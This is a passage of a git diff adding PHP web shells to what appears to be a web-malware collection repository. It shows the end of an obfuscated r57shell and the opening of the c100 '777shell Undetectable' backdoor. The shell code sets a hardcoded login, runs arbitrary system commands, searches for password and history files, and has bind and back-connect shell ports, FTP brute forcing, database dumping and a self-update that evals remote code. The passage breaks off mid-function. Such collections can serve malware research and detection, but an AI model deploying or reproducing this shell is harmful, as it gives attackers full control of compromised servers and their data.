KifoYmAaw+yZMLkJqSJ0RyKKwL76RfY/N8b44wWJQJt77wLX6PabeFFXetSZ70dgGS9dimoVPPevUaaHebmKEwXT5iRCCpob7Vwes3yriZnZYeOqaCu6b7vCZ8lNxDgf9LaiplbqCoHIrH6eXE/zenX+qaLEMqlgF2+yLmVgUecYqDA+K8TPNQAy/KzRw66juHTqiwBnId1qqEgRV41cCiLSwTmtIcO+33Iwrsku2LCE9nhHZOK3XCZxWFzfzgecZ0MEhoqQ3iDmX2jm0w2egYO2f9ta0uAbZC21CjQN+2XlcgOKyc/H60opkNFod+GzpB04GtQzAZ5FTstbIluFZQR0dD/uQ+VCUKk67EXcuAnHR0h4fc99Flf+iuod7KvHwfhEG/Q3PHPMJ+8I+hZ3PfmAYuX9T4Objlkx0alLEtSMM8BE7M6h0TyystS6LOD8vHDDVGMxVRqMB6CVb/MU7rjtVAlNZydMbGVPvA/I4gNJy62M5G79neGIQX3RVWgNF8Z/VphKGD6Hg3+4JNiLWsqNzd1r/PvQnjUeRx/t7VUB4ztY7nB1WLr9H+tokmc6wzss5ocfOz0RXgZHQV5vlI7EbRsyUrGIQ7IhpFkXippnAkPMilm1N7Eo1Uk5K+8hDShYIG3epppKRcS+l8i4zyl8PcwzMOiUnEjfdj5WtTBQkXHPCvEmV86cIMlutMK4xbvir4oexVeyaCmz0Q7W6VKCHQpDMh/pM0fvcYfqLfb8hTEv+ixGhU2A4rFXAMEUntxEQQKfg15lSYBjvV61S43x8m0mCLfma3t1w+XQwr0Iv0og07TSuYtr1SDAd9SMa9OjhTq/U4mGKdJjhcms+SFQTLX7fw22XvOWI5oLL7896D8gKh2xxgTX84WHcEl3w2T0jhXIUVY3AYtFxz389DI5UMkPD+ZBvjSJsVMHscjIuvUMaFGu11KzaZHrKVcnkE72tzoTu+WztplHicoIpMHGmWzfBEr2mSBIWXfxIHcLLRz85Kymi0dyb2vigKxYC9cMbOBOyh2mt/fa9CL4oQmrgi7rNkCOj5cWqxbB+c7rnteT173EGVkHZbB8txJY8Qi7WsT4iFVxZMLnZnaaUQ8yA7Aj2LpvhsC9HM8mWx8Xu4mZZXp3OKdKqhV9jpZW/GaPo7eSLMWQq4zvXUZslINKgq8KPlKY04rvOgN/67SV+nWbwKcFX80NRtgVC7wcl/AjkhBogX+rV8pftu7r5RvWhonTg9UA8Pm3sjSSKARIY4h9Ns4oGM6mjt251d58BBIAMBHPyvfxoEDzAAgTb43//+eef//zPv//333//Hw=='))); ?> +<? +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell | version ".$version." | <a href=http://www.antichat.ru>Antichat</a> | | R57 Shell Bypass Edition</a> | Generation time: ".round(getmicrotime()-starttime,4)." ]---o</b></font></div></td></tr></table>"; +echo '</body></html>'; +?> + diff --git a/web-malware-collection-master/Backdoors/PHP/c100 v. 777shell v. Undetectable #18a Modded by 777 - Don.php b/web-malware-collection-master/Backdoors/PHP/c100 v. 777shell v. Undetectable #18a Modded by 777 - Don.php new file mode 100755 index 0000000..5cda01b --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c100 v. 777shell v. Undetectable #18a Modded by 777 - Don.php @@ -0,0 +1,3168 @@ +<?php +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "Undetectable #18a"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("N3tsh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("N3tsh_surl",$surl);} +else {$surl = $_REQUEST["N3tsh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["N3tsh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = "12345654az"; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = "12345654az"; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = " c100 v. ".$shver.": access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b><u>Owned by Don</u></b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./cgi-bin"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = ""; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "Don"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "balcanCrew"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Tools</b>",$surl."act=tools&d=%d"), + array("<b>Proc.</b>",$surl."act=processes&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Update</b>",$surl."act=update&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["N3tshcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc100\">c100</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c100 ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); N3tsh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("N3t_buff_prepare")) +{ +function N3t_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +N3t_buff_prepare(); +if (!function_exists("N3t_sess_put")) +{ +function N3t_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + N3t_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("N3tgetsource")) +{ +function N3tgetsource($fn) +{ + global $N3tsh_sourcesurl; + $array = array( + "N3tsh_bindport.pl" => "N3tsh_bindport_pl.txt", + "N3tsh_bindport.c" => "N3tsh_bindport_c.txt", + "N3tsh_backconn.pl" => "N3tsh_backconn_pl.txt", + "N3tsh_backconn.c" => "N3tsh_backconn_c.txt", + "N3tsh_datapipe.pl" => "N3tsh_datapipe_pl.txt", + "N3tsh_datapipe.c" => "N3tsh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($N3tsh_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("N3tsh_getupdate")) +{ +function N3tsh_getupdate($update = TRUE) +{ + $url = $GLOBALS["N3tsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c100.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by c100.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"N3tsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "? <a href=\"#\" onclick=\"document.N3tsh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + 